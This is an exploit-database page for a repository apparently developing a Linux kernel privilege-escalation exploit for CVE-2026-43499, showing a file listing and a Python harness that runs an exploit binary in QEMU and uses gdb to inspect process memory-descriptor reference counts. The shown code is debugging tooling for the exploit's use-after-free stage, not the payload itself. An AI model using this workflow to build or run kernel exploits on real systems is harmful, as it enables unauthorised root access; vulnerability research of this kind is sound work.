Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files354
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- disasm/
- disasm_clang/
- glA/
- glB/
- glC/
- NOTES_crosscache.md
- NOTES_geometry.md
- adb_watch.ps1
- adb_watch2.ps1
- adj_tail.log
- alpine-armv7.tgz
- base_io.sh
- boot_foreground.sh
- boot_io.sh
- bpf_probe.sh
- build_2602.sh
- build_bpf.sh
- build_clang.sh
- build_dbg.sh
- build_go21.sh
- build_go27.sh
- build_initramfs_clang.sh
- build_io.sh
- build_io_initramfs.sh
- build_kernel_uffd.sh
- build_ks.sh
- build_liburing.sh
- build_lpe.sh
- build_vendorlike.sh
- build_vtest.sh
- capture_read.py
- capture_read5.py
- cc2.log
- cc3.log
- cc4.log
- cc_driver.py
- cc_probe.py
- check_s4.py
- chk72.gdb
- chk72.py
- chk_init.sh
- chk_mm.py
- clang_more_syms.sh
- clang_syms.sh
- cleanup_conns.sh
- clk32lin_full.log
- clk64_full.log
- clk_full.log
- clk_sattr.log
- clk_wide.log
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
workspace/qemu/run_hold4.py
Python · 2,298 bytes#!/usr/bin/env python3
import sys, time, re, subprocess
sys.path.insert(0,'/mnt/d/project/ow/qemu')
from serial_drive import Console
def gdb(script, timeout=300):
open('/tmp/g.gdb','w').write(script)
p=subprocess.run(['gdb-multiarch','-batch','-q','/mnt/d/project/ow/qemu/vmlinux.clang',
'-x','/tmp/g.gdb'],capture_output=True,text=True,timeout=timeout)
return p.stdout+p.stderr
c=Console(); time.sleep(1); c.send(''); c.read_some(2)
def run(cmd,t=60):
rc,out=c.run(cmd,timeout=t); print('### '+cmd[:80]); print(out); return out
run('cp /root/exp/hold4 /tmp/; chmod 755 /tmp/hold4; rm -f /tmp/h4.log; (/tmp/hold4 > /tmp/h4.log 2>&1 &); echo BG')
time.sleep(6)
out=run('cat /tmp/h4.log')
pids=re.search(r'PIDS((?:\s\d+)+)',out).group(1).split()
print('children',len(pids))
lines=['set pagination off','target remote :1234']
for p in pids:
lines.append('set $t%s=(struct task_struct*)pid_task(find_get_pid(%s),PIDTYPE_PID)'%(p,p))
lines.append('printf "C %s mm=%%08x users=%%d count=%%d\\n",$t%s->mm,$t%s->mm->mm_users.counter,$t%s->mm->mm_count.counter'%(p,p,p,p))
lines+=['detach','quit']
o=gdb('\n'.join(lines)+'\n')
print(o)
run('rm -f /tmp/go4; touch /tmp/go4')
for _ in range(6):
time.sleep(5)
out=run('cat /tmp/h4.log')
if 'REAPED' in out: break
time.sleep(3)
lines=['set pagination off','target remote :1234']
for p in pids:
lines.append('set $m%s=(struct mm_struct*)$t%s->mm'%(p,p)) # vars may not persist; re-resolve instead
# re-resolve tasks (they are freed but mm pointer saved below)
lines=['set pagination off','target remote :1234']
for p in pids:
lines.append('set $t%s=(struct task_struct*)pid_task(find_get_pid(%s),PIDTYPE_PID)'%(p,p))
lines.append('printf "T %s task=%%08x\\n",$t%s'%(p,p))
lines+=['detach','quit']
o2=gdb('\n'.join(lines)+'\n')
print(o2)
# examine the mm addrs captured before
mmaddrs=re.findall(r'C \d+ mm=([0-9a-f]{8})',o)
print('mmaddrs',mmaddrs[:5],len(mmaddrs))
lines=['set pagination off','target remote :1234']
for a in mmaddrs[:6]:
lines.append('printf "MM %s users=%%d count=%%d\\n",((struct mm_struct*)0x%s)->mm_users.counter,((struct mm_struct*)0x%s)->mm_count.counter'%(a,a,a))
lines.append('x/6wx 0x%s'%a)
lines+=['detach','quit']
o3=gdb('\n'.join(lines)+'\n')
print(o3)